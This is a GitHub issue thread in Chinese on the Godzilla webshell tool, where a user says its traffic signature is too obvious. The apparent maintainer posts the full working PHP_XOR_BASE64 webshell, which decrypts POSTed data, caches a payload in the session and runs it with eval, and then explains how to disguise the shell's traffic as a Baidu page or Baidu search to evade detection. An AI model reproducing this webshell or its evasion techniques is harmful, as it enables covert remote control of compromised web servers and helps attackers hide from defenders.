Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

感觉哥斯拉的特征太明显了 #87

Open
xsshim opened this issue Feb 6, 2023 · 3 comments
Open

感觉哥斯拉的特征太明显了 #87

xsshim opened this issue Feb 6, 2023 · 3 comments

Comments

@xsshim
Copy link

xsshim commented Feb 6, 2023

前面16位字母是大写的,最后16位字母也是大写的,中间是普通的base64字符串,这也太明显了

@BeichenDream
Copy link
Owner

哥斯拉不同的加密器所发送的流量都是不同的,例如说PHP_XOR_BASE64

默认生成的脚本是这样的

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

流量是这样的

image

但是你可以在生成的脚本里面加任何输出,哥斯拉也能照样识别,例如说你可以套一个百度的网页

image

把内容都复制到生成的shell

test.txt

image

然后流量就变成了百度
image

你还可以配置一下请求追加

image

于是流量伪装成了百度的搜索

image

@BeichenDream
Copy link
Owner

哥斯拉从v1.0开始,就支持自定义加密器,通过插件的方式动态加载,不过一直没时间写文档,可以自行反编译学习,自定义加密器支持自定义加密算法,和流量查找以及发送逻辑

@xsshim
Copy link
Author

xsshim commented Feb 17, 2023

兄弟,我研究完哥斯拉的插件回来了,想问一下,可以给我学习一下 shells.payloads.java.assets 下面的 payload.classs 的代码吗?反编译出来好难看啊

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants